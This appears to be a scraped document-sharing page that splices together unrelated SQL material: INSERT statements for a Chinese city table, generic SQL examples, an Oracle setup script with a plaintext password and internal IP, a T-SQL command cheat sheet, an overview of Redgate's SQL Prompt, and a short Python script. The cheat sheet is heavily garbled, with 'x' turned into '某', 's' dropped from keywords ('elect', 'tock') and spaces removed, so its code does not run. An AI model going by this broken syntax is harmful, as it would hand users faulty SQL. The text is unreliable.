T_City(CityName,ProID,CitySort) Values('嘉兴市','11','80') INSERT T_City(CityName,ProID,CitySort) Values('宁波市','11','81') INSERT T_City(CityName,ProID,CitySort) Values('绍兴市','11','82') INSERT T_City(CityName,ProID,CitySort) Values('温州市','11','83') INSERT T_City(CityName,ProID,CitySort) Values('丽水市','11','84') INSERT T_City(CityName,ProID,CitySort) Values('金华市','11','85') INSERT T_City(CityName,ProID,CitySort) Values('台州市','11','86') INSERT T_City(CityName,ProID,CitySort) Values('合肥市','12','87') INSERT T_City(CityName,ProID,CitySort) Values('芜湖市','12','88') INSERT T_City(CityName,ProID,CitySort) Values('蚌埠市','12','89') INSERT T_City(CityName,ProID,CitySort) Values('淮南市','12','90') INSERT T_City(CityName,ProID,CitySort) Values('马鞍山市','12','91') INSERT T_City(CityName,ProID,CitySort) Values('淮北市','12','92') INSERT T_City(CityName,ProID,CitySort) Values('铜陵市','12','93') INSERT T_City(CityName,ProID,CitySort) Values('安庆市','12','94') INSERT T_City(CityName,ProID,CitySort) Values('黄山市','12','95') INSERT T_City(CityName,ProID,CitySort) Values('滁州市','12','96') INSERT T_City(CityName,ProID,CitySort) Values('阜阳市','12','97') INSERT T_City(CityName,ProID,CitySort) Values('宿州市','12','98') INSERT T_City(CityName,ProID,CitySort) Values('巢湖市','12','99') INSERT T_City(CityName,ProID,CitySort) Values('六安市','12','100') INSERT T_City(CityName,ProID,CitySort) Values('亳州市','12','101') INSERT T_City(CityName,ProID,CitySort) Values('池州市','12','102') INSERT T_City(CityName,ProID,CitySort) Values('宣城市','12','103') INSERT T_City(CityName,ProID,CitySort) Values('福州市','13','104') INSERT T_City(CityName,ProID,CitySort) Values('厦门市','13','105') INSERT T_City(CityName,ProID,CitySort) Values('宁德市','13','106') INSERT T_City(CityName,ProID,CitySort) Values('莆田市','13','107') INSERT T_City(CityName,ProID,CitySort) Values('泉州市','13','108') INSERT T_City(CityName,ProID,CitySort) Values('漳州市','13','109') INSERT T_City(CityName,ProID,CitySort) Values('龙岩市','13','110') INSERT T_City(CityName,ProID,CitySort) Values('三明市','13','111') INSERT T_City(CityName,ProID,CitySort) Values('南平市','13','112') INSERT T_City(CityName,ProID,CitySort) Values('鹰潭市','14','113') INSERT T_City(CityName,ProID,CitySort) Values('新余市','14','114') INSERT T_City(CityName,ProID,CitySort) Values('南昌市','14','115') INSERT T_City(CityName,ProID,CitySort) Values('九江市','14','116')INSERT T_City(CityName,ProID,CitySort) Values('抚州市','14','118') INSERT T_City(CityName,ProID,CitySort) Values('宜春市','14','119') INSERT T_City(CityName,ProID,CitySort) Values('吉安市','14','120') INSERT T_City(CityName,ProID,CitySort) Values('赣州市','14','121') INSERT T_City(CityName,ProID,CitySort) Values('景德镇市','14','122') INSERT T_City(CityName,ProID,CitySort) Values('萍乡市','14','123') INSERT T_City(CityName,ProID,CitySort) Values('菏泽市','15','124') INSERT T_City(CityName,ProID,CitySort) Values('济南市','15','125') INSERT T_City(CityName,ProID,CitySort) Values('青岛市','15','126') INSERT T_City(CityName,ProID,CitySort) Values('淄博市','15','127') INSERT T_City(CityName,ProID,CitySort) Values('德州市','15','128') INSERT T_City(CityName,ProID,CitySort) Values('烟台市','15','129') INSERT T_City(CityName,ProID,CitySort) Values('潍坊市','15','130') INSERT T_City(CityName,ProID,CitySort) Values('济宁市','15','131') INSERT T_City(CityName,ProID,CitySort) Values('泰安市','15','132') INSERT T_City(CityName,ProID,CitySort) Values('临沂市','15','133') INSERT T_City(CityName,ProID,CitySort) Values('滨州市','15','134') INSERT T_City(CityName,ProID,CitySort) Values('东营市','15','135') INSERT T_City(CityName,ProID,CitySort) Values('威海市','15','136') INSERT T_City(CityName,ProID,CitySort) Values('枣庄市','15','137') INSERT T_City(CityName,ProID,CitySort) Values('日照市','15','138') INSERT T_City(CityName,ProID,CitySort) Values('莱芜市','15','139') INSERT T_City(CityName,ProID,CitySort) Values('聊城市','15','140') INSERT T_City(CityName,ProID,CitySort) Values('商丘市','16','141') INSERT T_City(CityName,ProID,CitySort) Values('郑州市','16','142') INSERT T_City(CityName,ProID,CitySort) Values('安阳市','16','143') INSERT T_City(CityName,ProID,CitySort) Values('新乡市','16','144') INSERT T_City(CityName,ProID,CitySort) Values('许昌市','16','145') INSERT T_City(CityName,ProID,CitySort) Values('平顶山市','16','146') INSERT T_City(CityName,ProID,CitySort) Values('信阳市','16','147') INSERT T_City(CityName,ProID,CitySort) Values('南阳市','16','148') INSERT T_City(CityName,ProID,CitySort) Values('开封市','16','149') INSERT T_City(CityName,ProID,CitySort) Values('洛阳市','16','150') INSERT T_City(CityName,ProID,CitySort) Values('济源市','16','151') INSERT T_City(CityName,ProID,CitySort) Values('焦作市','16','152') INSERT T_City(CityName,ProID,CitySort) Values('鹤壁市','16','153') INSERT T_City(CityName,ProID,CitySort) Values('濮阳市','16','154') INSERT T_City(CityName,ProID,CitySort) Values('周口市','16','155') INSERT T_City(CityName,ProID,CitySort) Values('漯河市','16','156') INSERT T_City(CityName,ProID,CitySort) Values('驻马店市','16','157') INSERT T_City(CityName,ProID,CitySort) Values('三门峡市','16','158') INSERT T_City(CityName,ProID,CitySort) Values('武汉市','17','159') INSERT T_City(CityName,ProID,CitySort) Values('襄樊市','17','160')INSERT T_City(CityName,ProID,CitySort) Values('孝感市','17','162')INSERT T_City(CityName,ProID,CitySort) Values('黄冈市','17','163')INSERT T_City(CityName,ProID,CitySort) Values('黄石市','17','164')INSERT T_City(CityName,ProID,CitySort) Values('咸宁市','17','165')INSERT T_City(CityName,ProID,CitySort) Values('荆州市','17','166')INSERT T_City(CityName,ProID,CitySort) Values('宜昌市','17','167')INSERT T_City(CityName,ProID,CitySort) Values('恩施土家族苗族自治州','17','168') INSERT T_City(CityName,ProID,CitySort) Values('神农架林区','17','169')INSERT T_City(CityName,ProID,CitySort) Values('十堰市','17','170')INSERT T_City(CityName,ProID,CitySort) Values('随州市','17','171')INSERT T_City(CityName,ProID,CitySort) Values('荆门市','17','172')INSERT T_City(CityName,ProID,CitySort) Values('仙桃市','17','173')INSERT T_City(CityName,ProID,CitySort) Values('天门市','17','174')INSERT T_City(CityName,ProID,CitySort) Values('潜江市','17','175')INSERT T_City(CityName,ProID,CitySort) Values('岳阳市','18','176')INSERT T_City(CityName,ProID,CitySort) Values('长沙市','18','177')INSERT T_City(CityName,ProID,CitySort) Values('湘潭市','18','178')INSERT T_City(CityName,ProID,CitySort) Values('株洲市','18','179')INSERT T_City(CityName,ProID,CitySort) Values('衡阳市','18','180')INSERT T_City(CityName,ProID,CitySort) Values('郴州市','18','181')INSERT T_City(CityName,ProID,CitySort) Values('常德市','18','182')INSERT T_City(CityName,ProID,CitySort) Values('益阳市','18','183')INSERT T_City(CityName,ProID,CitySort) Values('娄底市','18','184')INSERT T_City(CityName,ProID,CitySort) Values('邵阳市','18','185')INSERT T_City(CityName,ProID,CitySort) Values('湘西土家族苗族自治州','18','186') INSERT T_City(CityName,ProID,CitySort) Values('张家界市','18','187')INSERT T_City(CityName,ProID,CitySort) Values('怀化市','18','188')INSERT T_City(CityName,ProID,CitySort) Values('永州市','18','189')INSERT T_City(CityName,ProID,CitySort) Values('广州市','19','190')INSERT T_City(CityName,ProID,CitySort) Values('汕尾市','19','191')INSERT T_City(CityName,ProID,CitySort) Values('阳江市','19','192')INSERT T_City(CityName,ProID,CitySort) Values('揭阳市','19','193')INSERT T_City(CityName,ProID,CitySort) Values('茂名市','19','194')INSERT T_City(CityName,ProID,CitySort) Values('惠州市','19','195')INSERT T_City(CityName,ProID,CitySort) Values('江门市','19','196')INSERT T_City(CityName,ProID,CitySort) Values('韶关市','19','197')INSERT T_City(CityName,ProID,CitySort) Values('梅州市','19','198')INSERT T_City(CityName,ProID,CitySort) Values('汕头市','19','199')INSERT T_City(CityName,ProID,CitySort) Values('深圳市','19','200')INSERT T_City(CityName,ProID,CitySort) Values('珠海市','19','201')INSERT T_City(CityName,ProID,CitySort) Values('佛山市','19','202')INSERT T_City(CityName,ProID,CitySort) Values('肇庆市','19','203')INSERT T_City(CityName,ProID,CitySort) Values('湛江市','19','204')INSERT T_City(CityName,ProID,CitySort) Values('河源市','19','206')INSERT T_City(CityName,ProID,CitySort) Values('清远市','19','207')INSERT T_City(CityName,ProID,CitySort) Values('云浮市','19','208')INSERT T_City(CityName,ProID,CitySort) Values('潮州市','19','209')INSERT T_City(CityName,ProID,CitySort) Values('东莞市','19','210')INSERT T_City(CityName,ProID,CitySort) Values('兰州市','22','211')INSERT T_City(CityName,ProID,CitySort) Values('金昌市','22','212')INSERT T_City(CityName,ProID,CitySort) Values('白银市','22','213')INSERT T_City(CityName,ProID,CitySort) Values('天水市','22','214')INSERT T_City(CityName,ProID,CitySort) Values('嘉峪关市','22','215')INSERT T_City(CityName,ProID,CitySort) Values('武威市','22','216')INSERT T_City(CityName,ProID,CitySort) Values('张掖市','22','217')INSERT T_City(CityName,ProID,CitySort) Values('平凉市','22','218')INSERT T_City(CityName,ProID,CitySort) Values('酒泉市','22','219')INSERT T_City(CityName,ProID,CitySort) Values('庆阳市','22','220')INSERT T_City(CityName,ProID,CitySort) Values('定西市','22','221')INSERT T_City(CityName,ProID,CitySort) Values('陇南市','22','222')INSERT T_City(CityName,ProID,CitySort) Values('临夏回族自治州','22','223') INSERT T_City(CityName,ProID,CitySort) Values('甘南藏族自治州','22','224') INSERT T_City(CityName,ProID,CitySort) Values('成都市','28','225')INSERT T_City(CityName,ProID,CitySort) Values('攀枝花市','28','226')INSERT T_City(CityName,ProID,CitySort) Values('自贡市','28','227')INSERT T_City(CityName,ProID,CitySort) Values('绵阳市','28','228')INSERT T_City(CityName,ProID,CitySort) Values('南充市','28','229')INSERT T_City(CityName,ProID,CitySort) Values('达州市','28','230')INSERT T_City(CityName,ProID,CitySort) Values('遂宁市','28','231')INSERT T_City(CityName,ProID,CitySort) Values('广安市','28','232')INSERT T_City(CityName,ProID,CitySort) Values('巴中市','28','233')INSERT T_City(CityName,ProID,CitySort) Values('泸州市','28','234')INSERT T_City(CityName,ProID,CitySort) Values('宜宾市','28','235')INSERT T_City(CityName,ProID,CitySort) Values('资阳市','28','236')INSERT T_City(CityName,ProID,CitySort) Values('内江市','28','237')INSERT T_City(CityName,ProID,CitySort) Values('乐山市','28','238')INSERT T_City(CityName,ProID,CitySort) Values('眉山市','28','239')INSERT T_City(CityName,ProID,CitySort) Values('凉山彝族自治州','28','240') INSERT T_City(CityName,ProID,CitySort) Values('雅安市','28','241')INSERT T_City(CityName,ProID,CitySort) Values('甘孜藏族自治州','28','242') INSERT T_City(CityName,ProID,CitySort) Values('阿坝藏族羌族自治州','28','243') INSERT T_City(CityName,ProID,CitySort) Values('德阳市','28','244')INSERT T_City(CityName,ProID,CitySort) Values('广元市','28','245')INSERT T_City(CityName,ProID,CitySort) Values('贵阳市','29','246')INSERT T_City(CityName,ProID,CitySort) Values('遵义市','29','247')INSERT T_City(CityName,ProID,CitySort) Values('安顺市','29','248')INSERT T_City(CityName,ProID,CitySort) Values('黔南布依族苗族自治州','29','249') INSERT T_City(CityName,ProID,CitySort) Values('黔东南苗族侗族自治州','29','250') INSERT T_City(CityName,ProID,CitySort) Values('铜仁地区','29','251')INSERT T_City(CityName,ProID,CitySort) Values('毕节地区','29','252')INSERT T_City(CityName,ProID,CitySort) Values('六盘水市','29','253')INSERT T_City(CityName,ProID,CitySort) Values('黔西南布依族苗族自治州','29','254') INSERT T_City(CityName,ProID,CitySort) Values('海口市','20','255')INSERT T_City(CityName,ProID,CitySort) Values('三亚市','20','256')INSERT T_City(CityName,ProID,CitySort) Values('五指山市','20','257')INSERT T_City(CityName,ProID,CitySort) Values('琼海市','20','258')INSERT T_City(CityName,ProID,CitySort) Values('儋州市','20','259')INSERT T_City(CityName,ProID,CitySort) Values('文昌市','20','260')INSERT T_City(CityName,ProID,CitySort) Values('万宁市','20','261')INSERT T_City(CityName,ProID,CitySort) Values('东方市','20','262')INSERT T_City(CityName,ProID,CitySort) Values('澄迈县','20','263')INSERT T_City(CityName,ProID,CitySort) Values('定安县','20','264')INSERT T_City(CityName,ProID,CitySort) Values('屯昌县','20','265')INSERT T_City(CityName,ProID,CitySort) Values('临高县','20','266')INSERT T_City(CityName,ProID,CitySort) Values('白沙黎族自治县','20','267') INSERT T_City(CityName,ProID,CitySort) Values('昌江黎族自治县','20','268') INSERT T_City(CityName,ProID,CitySort) Values('乐东黎族自治县','20','269') INSERT T_City(CityName,ProID,CitySort) Values('陵水黎族自治县','20','270') INSERT T_City(CityName,ProID,CitySort) Values('保亭黎族苗族自治县','20','271') INSERT T_City(CityName,ProID,CitySort) Values('琼中黎族苗族自治县','20','272') INSERT T_City(CityName,ProID,CitySort) Values('西双版纳傣族自治州','30','273') INSERT T_City(CityName,ProID,CitySort) Values('德宏傣族景颇族自治州','30','274') INSERT T_City(CityName,ProID,CitySort) Values('昭通市','30','275')INSERT T_City(CityName,ProID,CitySort) Values('昆明市','30','276')INSERT T_City(CityName,ProID,CitySort) Values('大理白族自治州','30','277') INSERT T_City(CityName,ProID,CitySort) Values('红河哈尼族彝族自治州','30','278') INSERT T_City(CityName,ProID,CitySort) Values('曲靖市','30','279')INSERT T_City(CityName,ProID,CitySort) Values('保山市','30','280')INSERT T_City(CityName,ProID,CitySort) Values('文山壮族苗族自治州','30','281') INSERT T_City(CityName,ProID,CitySort) Values('玉溪市','30','282')INSERT T_City(CityName,ProID,CitySort) Values('楚雄彝族自治州','30','283') INSERT T_City(CityName,ProID,CitySort) Values('普洱市','30','284')INSERT T_City(CityName,ProID,CitySort) Values('临沧市','30','285')INSERT T_City(CityName,ProID,CitySort) Values('怒江傈傈族自治州','30','286') INSERT T_City(CityName,ProID,CitySort) Values('迪庆藏族自治州','30','287') INSERT T_City(CityName,ProID,CitySort) Values('丽江市','30','288')INSERT T_City(CityName,ProID,CitySort) Values('海北藏族自治州','25','289') INSERT T_City(CityName,ProID,CitySort) Values('西宁市','25','290')INSERT T_City(CityName,ProID,CitySort) Values('海东地区','25','291')INSERT T_City(CityName,ProID,CitySort) Values('黄南藏族自治州','25','292')。
厉害的sql语句
厉害的sql语句以下是一些常见的强大的SQL语句示例:
1. 查询表中的所有数据:
```
SELECT * FROM 表名;
```
2. 查询特定条件下的数据:
```
SELECT * FROM 表名 WHERE 条件;
```
3. 查询表中的数据并按照某一列进行排序:```
SELECT * FROM 表名 ORDER BY 列名;
```
4. 查询表中的数据并统计某一列的总和:```
SELECT SUM(列名) FROM 表名;
```
5. 查询表中的数据并进行分组统计:
```
SELECT 列名, COUNT(*) FROM 表名 GROUP BY 列名;
```
6. 查询表中的数据并进行连接查询:
```
SELECT 表1.列名, 表2.列名 FROM 表1 INNER JOIN 表2 ON 表1.列名 = 表2.列名;
```
7. 更新表中的数据:
```
UPDATE 表名 SET 列名 = 值 WHERE 条件;
```
8. 插入新数据到表中:
```
INSERT INTO 表名 (列1, 列2) VALUES (值1, 值2);
```
9. 删除表中的数据:
```
DELETE FROM 表名 WHERE 条件;
```
这些只是一些常见的SQL语句示例,SQL语言非常强大,可以进行
更复杂的查询和操作。
具体的语句根据具体的需求来编写。
oracle-sql脚本
oracle-sql脚本select * from dba_users;create tablespace kyc_coo;create user kyc_coo identified by "123456" default tablespace kyc_coo;create temporary tablespace kyc_temp;alter user kyc_coo temporary tablespace kyc_temp;select * from dba_directories;create directory dmp as '/ceph/fileserver/backup/oracle';grant create session,create view,create job to resource;grant read,write on directory dmp to resource;grant resource to kyc_coo;--授权,创建,修改(只修改服务名中的ip),查询,删除dblinkgrant create public database link,create database link to test;--两种⽅式create public database link accbakconnect to kyc_acc identified by "Lcpsys_kyc_1130"using '(DESCRIPTION =(ADDRESS_LIST =(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.8.161)(PORT = 1521)))(CONNECT_DATA =(SERVICE_NAME =kyc_w)))';或者create public database link accbakconnect to kyc_acc identified by "Lcpsys_kyc_1130" using 'tdb';select * from dba_db_links;drop public database link accbak;select * from acct_account@accbak;--最后修改job中的表名。
sql script常用
sql script常用SQL脚本是用于执行数据库操作的一组SQL语句的集合。
常用的SQL脚本包括创建表、插入数据、更新数据、删除数据、查询数据等操作。
下面我将从这些方面对SQL脚本进行详细解释。
首先,创建表是SQL脚本中常见的操作之一。
通过CREATE TABLE语句可以创建新的数据库表,语法通常包括表名和列名及其数据类型等信息。
例如:sql.CREATE TABLE 表名 (。
列1 数据类型,。
列2 数据类型,。
...);其次,插入数据是SQL脚本中的另一个常用操作。
使用INSERT INTO语句可以向数据库表中插入新的数据行,语法通常包括表名和要插入的数值。
例如:sql.INSERT INTO 表名 (列1, 列2, 列3, ...)。
VALUES (值1, 值2, 值3, ...);接着,更新数据也是SQL脚本中常用的操作之一。
使用UPDATE 语句可以更新数据库表中的现有数据,语法通常包括更新的表名、要设置的新值以及更新条件。
例如:sql.UPDATE 表名。
SET 列1 = 新值1, 列2 = 新值2。
WHERE 条件;此外,删除数据也是SQL脚本中常见的操作。
使用DELETE FROM语句可以从数据库表中删除符合特定条件的数据行,语法通常包括要删除的表名和删除条件。
例如:sql.DELETE FROM 表名。
WHERE 条件;最后,查询数据是SQL脚本中最常用的操作之一。
使用SELECT 语句可以从数据库表中检索数据行,语法通常包括要检索的列名、要检索的表名以及检索条件。
例如:sql.SELECT 列1, 列2, ...FROM 表名。
WHERE 条件;除了上述常用的SQL脚本操作外,还有其他一些高级的操作,如联合查询、子查询、存储过程、触发器等,这些操作也是SQL脚本中常见且重要的部分。
希望以上对SQL脚本的解释能够帮助你更好地理解和使用SQL脚本。
SQL命令大全
SQL命令大全--语句功能--数据操作SELECT--从数据库表中检索数据行和列INSERT--向数据库表添加新数据行DELETE--从数据库表中删除数据行UPDATE--更新数据库表中的数据--数据定义CREATETABLE--创建一个数据库表DROPTABLE--从数据库中删除表ALTERTABLE--修改数据库表结构CREATEVIEW--创建一个视图DROPVIEW--从数据库中删除视图CREATEINDE某--为数据库表创建一个索引DROPINDE某--从数据库中删除索引CREATEPROCEDURE--创建一个存储过程DROPPROCEDURE--从数据库中删除存储过程CREATETRIGGER--创建一个触发器DROPTRIGGER--从数据库中删除触发器CREATESCHEMA--向数据库添加一个新模式DROPSCHEMA--从数据库中删除一个模式CREATEDOMAIN--创建一个数据值域ALTERDOMAIN--改变域定义DROPDOMAIN--从数据库中删除一个域--数据控制GRANT--授予用户访问权限DENY--拒绝用户访问REVOKE--解除用户访问权限--事务控制COMMIT--结束当前事务ROLLBACK--中止当前事务SETTRANSACTION--定义当前事务数据访问特征--程序化SQLDECLARE--为查询设定游标E某PLAN--为查询描述数据访问计划OPEN--检索查询结果打开一个游标FETCH--检索一行查询结果CLOSE--关闭游标PREPARE--为动态执行准备SQL语句E某ECUTE--动态地执行SQL语句DESCRIBE--描述准备好的查询---局部变量--IFELSEprint'某>y'--打印字符串'某>y'print'y>z'eleprint'z>y'--CASEuepanguupdateemployeeete_wage=caewhenjob_level='1'thene_wage某1.08 whenjob_level='2'thene_wage某1.07 whenjob_level='3'thene_wage某1.06 elee_wage某1.05end--WHILECONTINUEBREAKbeginbeginendend--WAITFOR--例等待1小时2分零3秒后才执行SELECT语句waitfordelay'01:02:03'elect某fromemployee--例等到晚上11点零8分后才执行SELECT语句elect某fromemployee某某某SELECT某某某elect某(列名)fromtable_name(表名)wherecolumn_nameoperatorvalueelect某fromtock_informationwheretockid=tr(nid)tockname='tr_name'tocknamelike'%findthi%'tocknamelike'[a-zA-Z]%'---------([]指定值的范围)tocknamelike'[^F-M]%'---------(^排除指定范围)---------只能在使用like关键字的where子句中使用通配符)ortockpath='tock_path'ortocknumber<1000andtockinde某=24nottocke某='man'tocknumberbetween20and100tocknumberin(10,20,30)orderbytockiddec(ac)---------排序,dec-降序,ac-升序orderby1,2---------by列号tockname=(electtocknamefromtock_informationwheretockid=4)---------子查询---------除非能确保内层elect只返回一个行的值,---------否则应在外层where子句中用一个in限定符electditinctcolumn_nameformtable_name---------ditinct指定检索独有的列值,不重复electtocknumber,"tocknumber+10"=tocknumber+10fromtable_name electtockname,"tocknumber"=count(某)fromtable_namegroupbytoc kname---------groupby将表按行分组,指定列中有相同的值havingcount(某)=2---------having选定指定的组elect某fromtable1,table2wheretable1.id某=table2.id--------左外部连接,table1中有的而table2中没有得以null表示table1.id=某table2.id--------右外部连接electtocknamefromtable1union[all]-----union合并查询结果集,all-保留重复行electtocknamefromtable2某某某inert某某某inertintotable_name(Stock_name,Stock_number)value("某某某","某某某某")value(electStockname,StocknumberfromStock_table2)---value为elect语句某某某update某某某updatetable_nameetStockname="某某某"[whereStockid=3]Stockname=defaultStockname=nullStocknumber=Stockname+4某某某delete某某某deletefromtable_namewhereStockid=3truncatetable_name-----------删除表中所有行,仍保持表的完整性droptabletable_name---------------完全删除表某某某altertable某某某---修改数据库表结构altertabledatabae.owner.table_nameaddcolumn_namechar(2)null. ....p_helptable_name----显示表已有特征createtabletable_name(namechar(20),agemallint,lnamevarchar(3 0))inertintotable_nameelect.........-----实现删除列的方法(创建新表)altertabletable_namedropcontraintStockname_default----删除Stockname的default约束某某某function(/某常用函数某/)某某某----统计函数----AVG--求平均值COUNT--统计数目MA某--求最大值MIN--求最小值SUM--求和--AVGuepanguelectavg(e_wage)adept_avgWagefromemployeegroupbydept_id--MA某--求工资最高的员工姓名uepanguelecte_namefromemployeewheree_wage=(electma某(e_wage)fromemployee)--STDEV()--STDEV()函数返回表达式中所有数据的标准差--STDEVP()--STDEVP()函数返回总体标准差--VAR()--VAR()函数返回表达式中所有值的统计变异数--VARP()--VARP()函数返回总体变异数----算术函数----/某某某三角函数某某某/SIN(float_e某preion)--返回以弧度表示的角的正弦COS(float_e某preion)--返回以弧度表示的角的余弦TAN(float_e某preion)--返回以弧度表示的角的正切COT(float_e某preion)--返回以弧度表示的角的余切/某某某反三角函数某某某/ASIN(float_e某preion)--返回正弦是FLOAT值的以弧度表示的角ACOS(float_e某preion)--返回余弦是FLOAT值的以弧度表示的角ATAN(float_e某preion)--返回正切是FLOAT值的以弧度表示的角ATAN2(float_e某preion1,float_e某preion2)--返回正切是float_e某preion1/float_e某pre-ion2的以弧度表示的角DEGREES(numeric_e某preion)--把弧度转换为角度返回与表达式相同的数据类型可为--INTEGER/MONEY/REAL/FLOAT类型RADIANS(numeric_e某preion)--把角度转换为弧度返回与表达式相同的数据类型可为--INTEGER/MONEY/REAL/FLOAT类型E某P(float_e某preion)--返回表达式的指数值LOG(float_e某preion)--返回表达式的自然对数值LOG10(float_e某preion)--返回表达式的以10为底的对数值SQRT(float_e某preion)--返回表达式的平方根/某某某取近似值函数某某某/CEILING(numeric_e某preion)--返回>=表达式的最小整数返回的数据类型与表达式相同可为--INTEGER/MONEY/REAL/FLOAT类型FLOOR(numeric_e某preion)--返回<=表达式的最小整数返回的数据类型与表达式相同可为--INTEGER/MONEY/REAL/FLOAT类型ROUND(numeric_e某preion)--返回以integer_e某preion为精度的四舍五入值返回的数据--类型与表达式相同可为INTEGER/MONEY/REAL/FLOAT类型ABS(numeric_e某preion)--返回表达式的绝对值返回的数据类型与表达式相同可为--INTEGER/MONEY/REAL/FLOAT类型SIGN(numeric_e某preion)--测试参数的正负号返回0零值1正数或-1负数返回的数据类型--与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型PI()--返回值为π即3.1415926535897936RAND([integer_e某preion])--用任选的[integer_e某preion]做种子值得出0-1间的随机浮点数----字符串函数----ASCII()--函数返回字符表达式最左端字符的ASCII码值CHAR()--函数用于将ASCII码转换为字符--如果没有输入0~255之间的ASCII码值CHAR函数会返回一个NULL 值LOWER()--函数把字符串全部转换为小写UPPER()--函数把字符串全部转换为大写STR()--函数把数值型数据转换为字符型数据LTRIM()--函数把字符串头部的空格去掉RTRIM()--函数把字符串尾部的空格去掉LEFT(),RIGHT(),SUBSTRING()--函数返回部分字符串CHARINDE某(),PATINDE某()--函数返回字符串中某个指定的子串出现的开始位置SOUNDE某()--函数返回一个四位字符码--SOUNDE某函数可用来查找声音相似的字符串但SOUNDE某函数对数字和汉字均只返回0值DIFFERENCE()--函数返回由SOUNDE某函数返回的两个字符表达式的值的差异--0两个SOUNDE某函数返回值的第一个字符不同--1两个SOUNDE某函数返回值的第一个字符相同--2两个SOUNDE某函数返回值的第一二个字符相同--3两个SOUNDE某函数返回值的第一二三个字符相同--4两个SOUNDE某函数返回值完全相同QUOTENAME()--函数返回被特定字符括起来的字符串/某electquotename('abc','{')quotename('abc')运行结果如下----------------------------------{{abc}[abc]某/REPLICATE()--函数返回一个重复character_e某preion指定次数的字符串/某electreplicate('abc',3)replicate('abc',-2)运行结果如下----------------------abcabcabcNULL某/REVERSE()--函数将指定的字符串的字符排列顺序颠倒REPLACE()--函数返回被替换了指定子串的字符串/某electreplace('abc123g','123','def')运行结果如下----------------------abcdefg某/SPACE()--函数返回一个有指定长度的空白字符串STUFF()--函数用另一子串替换字符串指定位置长度的子串----数据类型转换函数----CAST()函数语法如下CAST()(<e某preion>AS<data_type>[length])CONVERT()函数语法如下CONVERT()(<data_type>[length],<e某preion>[,tyle])electcat(100+99achar)convert(varchar(12),getdate())----日期函数----DAY()--函数返回date_e某preion中的日期值MONTH()--函数返回date_e某preion中的月份值YEAR()--函数返回date_e某preion中的年份值DATEADD(<datepart>,<number>,<date>)--函数返回指定日期date加上指定的额外日期间隔number产生的新日期DATEDIFF(<datepart>,<number>,<date>)--函数返回两个指定日期在datepart方面的不同之处DATENAME(<datepart>,<date>)--函数以字符串的形式返回日期的指定部分DATEPART(<datepart>,<date>)--函数以整数值的形式返回日期的指定部分GETDATE()--函数以DATETIME的缺省格式返回系统当前的日期和时间----系统函数----APP_NAME()--函数返回当前执行的应用程序的名称COALESCE()--函数返回众多表达式中第一个非NULL表达式的值COL_LENGTH(<'table_name'>,<'column_name'>)--函数返回表中指定字段的长度值COL_NAME(<table_id>,<column_id>)--函数返回表中指定字段的名称即列名DATALENGTH()--函数返回数据表达式的数据的实际长度DB_NAME(databae_id)--函数返回数据库的名称HOST_ID()--函数返回服务器端计算机的名称HOST_NAME()--函数返回服务器端计算机的名称IDENTITY(<data_type>[,eedincrement])[AScolumn_name])--IDENTITY()函数只在SELECTINTO语句中使用用于插入一个identitycolumn列到新表中/某electidentity(int,1,1)acolumn_name intonewtablefromoldtable某/ISDATE()--函数判断所给定的表达式是否为合理日期ISNULL(<check_e某preion>,<replacement_value>)--函数将表达式中的NULL值用指定值替换ISNUMERIC()--函数判断所给定的表达式是否为合理的数值NEWID()--函数返回一个UNIQUEIDENTIFIER类型的数值NULLIF(<e某preion1>,<e某preion2>)--NULLIF函数在e某preion1与e某preion2相等时返回NULL值若不相等时则返回e某preion1的值。
sql prompt 使用
SQL Prompt 使用简介SQL Prompt 是一款由 Redgate 开发的 SQL Server 开发工具,它为开发人员提供了强大的 SQL 查询和脚本编辑功能。
SQL Prompt 可以帮助开发人员编写高效、可读性强的 SQL 代码,并提供了自动完成、代码片段、格式化等功能,大大提高了开发效率和代码质量。
功能特点自动完成SQL Prompt 可以根据用户输入的字符自动完成关键字、表名、列名等。
当输入关键字或对象名称时,它会显示一个下拉列表,其中包含与所输入内容相关的建议。
通过按下 Tab 键或使用鼠标选择建议项,可以快速完成输入。
代码片段SQL Prompt 提供了一系列常用的 SQL 代码片段,可以通过简单的缩写快速插入到查询或脚本中。
例如,输入“sel” 后按下 Tab 键,就会自动插入“SELECT * FROM” 的代码片段。
这样可以节省很多时间和精力,并避免拼写错误。
格式化SQL Prompt 可以根据用户定义的格式规则对 SQL 查询进行自动格式化。
它可以调整缩进、添加换行符并对关键字进行大小写转换,使得代码更易读且符合统一的风格。
重构SQL Prompt 提供了一些重构功能,可以帮助开发人员重构 SQL 查询和脚本。
例如,可以使用“Rename” 功能快速更改表名或列名,使用“Encapsulate as new procedure” 功能将查询封装为存储过程等。
智能命名SQL Prompt 可以根据表结构和列名的约定自动生成有意义的别名。
它可以根据表名的首字母或缩写生成别名,并在不同的查询中保持一致。
这样可以使得查询更易于理解和维护。
静态代码分析SQL Prompt 可以对 SQL 查询进行静态代码分析,检测潜在的错误或不规范的写法,并给出相应的建议。
例如,它可以检查未使用的变量、未声明的表别名、潜在的性能问题等。
使用方法安装要使用 SQL Prompt,首先需要下载并安装 Redgate 的 SQL Toolbelt 工具包。
python简单脚本-sql字符提取
python简单脚本-sql字符提取a="""dr.GetStr("kh"),dr.GetStr("xm"),dr.GetStr("xh"),dr.GetStr("sfzh"),dr.GetStr("xbdm"),dr.GetStr("bjxx"),dr.GetStr("wyyzdm"),dr.GetStr("hkszd"),dr.GetStr("mzdm"),dr.GetStr("zzmmdm"),dr.GetStr("ykh"),dr.GetStr("kssj"),dr.GetStr("jssj"),dr.GetStr("ksh"),dr.GetStr("kldm"));mydb.InsertXskcbj(dr.GetStr("kh"),dr.GetStr("kslxdm"),dr.GetStr("ksccdm"),dr.GetStr("ksxh"),dr.GetStr("nf"),dr.GetStr("qh"),dr.GetStr("xxdm"),dr.GetStr("bjxx"),dr.GetStr("hbxx"));mydb.InsertCkxx(dr.GetStr("kh"),dr.GetStr("nf"),dr.GetStr("kslxdm"),dr.GetStr("ksccdm"),dr.GetStr("ksxh")"""b = a.splitlines()c = []for i in b:index = i.find('"')if index != -1:end = i.find('"',index + 1)r = i[index+1:end]if r in c:passelse:c.append(r)for i in c:print'"'+i+'",'很简单,不解释。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
